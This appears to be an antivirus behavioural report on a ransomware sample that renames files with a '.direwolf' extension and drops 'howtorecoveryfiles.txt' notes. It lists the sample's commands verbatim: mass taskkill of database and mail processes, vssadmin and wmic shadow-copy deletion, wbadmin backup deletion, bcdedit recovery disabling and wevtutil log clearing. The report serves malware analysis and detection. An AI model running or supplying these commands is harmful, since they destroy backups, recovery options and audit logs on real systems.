Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\howtorecoveryfiles.txt
- <Drive name for removable media>:\system volume information\howtorecoveryfiles.txt
- <Drive name for removable media>:\000814251_video_01.avi
- <Drive name for removable media>:\1189.jpeg
- <Drive name for removable media>:\1189.jpg
- <Drive name for removable media>:\13.jpeg
- <Drive name for removable media>:\13.jpg
- <Drive name for removable media>:\1sm_price.xls
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
blocks the following features:
- System Restore (SR)
deletes volume shadow copies.
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM wxServerView.exe
- '<SYSTEM32>\taskkill.exe' /F /IM sqlmangr.exe
- '<SYSTEM32>\taskkill.exe' /F /IM RAgui.exe
- '<SYSTEM32>\taskkill.exe' /F /IM supervise.exe
- '<SYSTEM32>\taskkill.exe' /F /IM Culture.exe
- '<SYSTEM32>\taskkill.exe' /F /IM Defwatch.exe
- '<SYSTEM32>\taskkill.exe' /F /IM httpd.exe
- '<SYSTEM32>\taskkill.exe' /F /IM wsa_service.exe
- '<SYSTEM32>\taskkill.exe' /F /IM synctime.exe
- '<SYSTEM32>\taskkill.exe' /F /IM vxmon.exe
- '<SYSTEM32>\taskkill.exe' /F /IM sqlbrowser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM memtas.exe
- '<SYSTEM32>\taskkill.exe' /F /IM tomcat6.exe
- '<SYSTEM32>\taskkill.exe' /f /pid 1508
- '<SYSTEM32>\taskkill.exe' /F /IM Sqlservr.exe
- '<SYSTEM32>\taskkill.exe' /F /IM agntsvc.exe
- '<SYSTEM32>\taskkill.exe' /F /IM dbeng50.exe
- '<SYSTEM32>\taskkill.exe' /F /IM dbsnmp.exe
- '<SYSTEM32>\taskkill.exe' /F /IM dbsrv12.exe
- '<SYSTEM32>\taskkill.exe' /F /IM encsvc.exe
- '<SYSTEM32>\taskkill.exe' /F /IM excel.exe
- '<SYSTEM32>\taskkill.exe' /F /IM firefox.exe
- '<SYSTEM32>\taskkill.exe' /F /IM vss.exe
- '<SYSTEM32>\taskkill.exe' /F /IM infopath.exe
- '<SYSTEM32>\taskkill.exe' /F /IM isqlplussvc.exe
- '<SYSTEM32>\taskkill.exe' /F /IM msaccess.exe
- '<SYSTEM32>\taskkill.exe' /F /IM mspub.exe
- '<SYSTEM32>\taskkill.exe' /F /IM mydesktopqos.exe
- '<SYSTEM32>\taskkill.exe' /F /IM mydesktopservice.exe
- '<SYSTEM32>\taskkill.exe' /F /IM ocautoupds.exe
- '<SYSTEM32>\taskkill.exe' /F /IM ocomm.exe
- '<SYSTEM32>\taskkill.exe' /F /IM ocssd.exe
- '<SYSTEM32>\taskkill.exe' /F /IM onenote.exe
- '<SYSTEM32>\taskkill.exe' /F /IM oracle.exe
- '<SYSTEM32>\taskkill.exe' /F /IM outlook.exe
- '<SYSTEM32>\taskkill.exe' /F /IM powerpnt.exe
- '<SYSTEM32>\taskkill.exe' /F /IM sqbcoreservice.exe
- '<SYSTEM32>\taskkill.exe' /F /IM sql.exe
- '<SYSTEM32>\taskkill.exe' /F /IM steam.exe
- '<SYSTEM32>\taskkill.exe' /F /IM tbirdconfig.exe
- '<SYSTEM32>\taskkill.exe' /F /IM thebat.exe
- '<SYSTEM32>\taskkill.exe' /F /IM thunderbird.exe
- '<SYSTEM32>\taskkill.exe' /F /IM visio.exe
- '<SYSTEM32>\taskkill.exe' /f /pid 0
- '<SYSTEM32>\taskkill.exe' /F /IM WinSAT.exe
- '<SYSTEM32>\taskkill.exe' /F /IM winword.exe
- '<SYSTEM32>\taskkill.exe' /F /IM wordpad.exe
- '<SYSTEM32>\taskkill.exe' /F /IM onedrive.exe
- '<SYSTEM32>\taskkill.exe' /F /IM wrapper.exe
- '<SYSTEM32>\taskkill.exe' /F /IM xfssvccon.exe
- '<SYSTEM32>\taskkill.exe' /F /IM sqlagent.exe
- '<SYSTEM32>\taskkill.exe' /F /IM sqlwriter.exe
- '<SYSTEM32>\taskkill.exe' /F /IM MSExchangeIS.exe
- '<SYSTEM32>\taskkill.exe' /F /IM MSExchangeTransport.exe
- '<SYSTEM32>\taskkill.exe' /F /IM MSExchangeMailboxAssistants.exe
- '<SYSTEM32>\taskkill.exe' /F /IM MSExchangeRepl.exe
- '<SYSTEM32>\taskkill.exe' /F /IM MSExchangeRPC.exe
- '<SYSTEM32>\taskkill.exe' /F /IM MSExchangeServiceHost.exe
- '<SYSTEM32>\taskkill.exe' /F /IM notepad++.exe
- '<SYSTEM32>\taskkill.exe' /F /IM notepad.exe
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- C:\howtorecoveryfiles.txt
- D:\howtorecoveryfiles.txt
- D:\$recycle.bin\howtorecoveryfiles.txt
- C:\msocache\howtorecoveryfiles.txt
- D:\$recycle.bin\s-1-5-21-4226853953-3309226944-3078887307-1000\howtorecoveryfiles.txt
- nul
- C:\perflogs\howtorecoveryfiles.txt
Moves the following system files
- from C:\recovery\windowsre\boot.sdi to C:\recovery\windowsre\boot.sdi.direwolf
- from C:\recovery\windowsre\winre.wim to C:\recovery\windowsre\winre.wim.direwolf
Modifies the following files
- D:\$recycle.bin\s-1-5-21-4226853953-3309226944-3078887307-1000\desktop.ini.direwolf
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'mo#####.map.fastly.net':443
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
UDP
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' -Command "/c start vssadmin delete shadows /all /quiet"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-WmiObject -Class win32_service -Filter \"name = 'eventlog'\" | select -exp ProcessId"
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' config vss start= disabled
- '<SYSTEM32>\cmd.exe' -Command "/c start wmic shadowcopy delete /nointeractive"
- '<SYSTEM32>\cmd.exe' -Command "/c start wbadmin stop job -quiet"
- '<SYSTEM32>\wbadmin.exe' stop job -quiet"
- '<SYSTEM32>\wbengine.exe'
- '<SYSTEM32>\vds.exe'
- '<SYSTEM32>\cmd.exe' -Command "/c start wbadmin disable backup -quiet"
- '<SYSTEM32>\wbadmin.exe' disable backup -quiet"
- '<SYSTEM32>\cmd.exe' -Command "/c start wbadmin delete backup -keepVersions:0 -quiet"
- '<SYSTEM32>\wbadmin.exe' delete backup -keepVersions:0 -quiet"
- '<SYSTEM32>\cmd.exe' -Command "/c start wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0 -quiet"
- '<SYSTEM32>\wbadmin.exe' DELETE SYSTEMSTATEBACKUP -keepVersions:0 -quiet"
- '<SYSTEM32>\cmd.exe' -Command "/c start wbadmin delete catalog -quiet"
- '<SYSTEM32>\wbadmin.exe' delete catalog -quiet"
- '<SYSTEM32>\cmd.exe' -Command "/c start bcdedit /set {default} recoveryenabled No"
- '<SYSTEM32>\cmd.exe' -Command "/c start taskkill /f /pid 1508 "
- '<SYSTEM32>\cmd.exe' -Command "/c start bcdedit /set {default} bootstatuspolicy ignoreallfailures"
- '<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures"
- '<SYSTEM32>\cmd.exe' -Command "/c start wevtutil cl Application"
- '<SYSTEM32>\wevtutil.exe' cl Application"
- '<SYSTEM32>\cmd.exe' -Command "/c start wevtutil cl system"
- '<SYSTEM32>\wevtutil.exe' cl system"
- '<SYSTEM32>\cmd.exe' -Command "/c start wevtutil cl security"
- '<SYSTEM32>\wevtutil.exe' cl security"
- '<SYSTEM32>\cmd.exe' -Command "/c start wevtutil cl setup"
- '<SYSTEM32>\wevtutil.exe' cl setup"
- '<SYSTEM32>\cmd.exe' -Command "/c start taskkill /f /pid 0 "
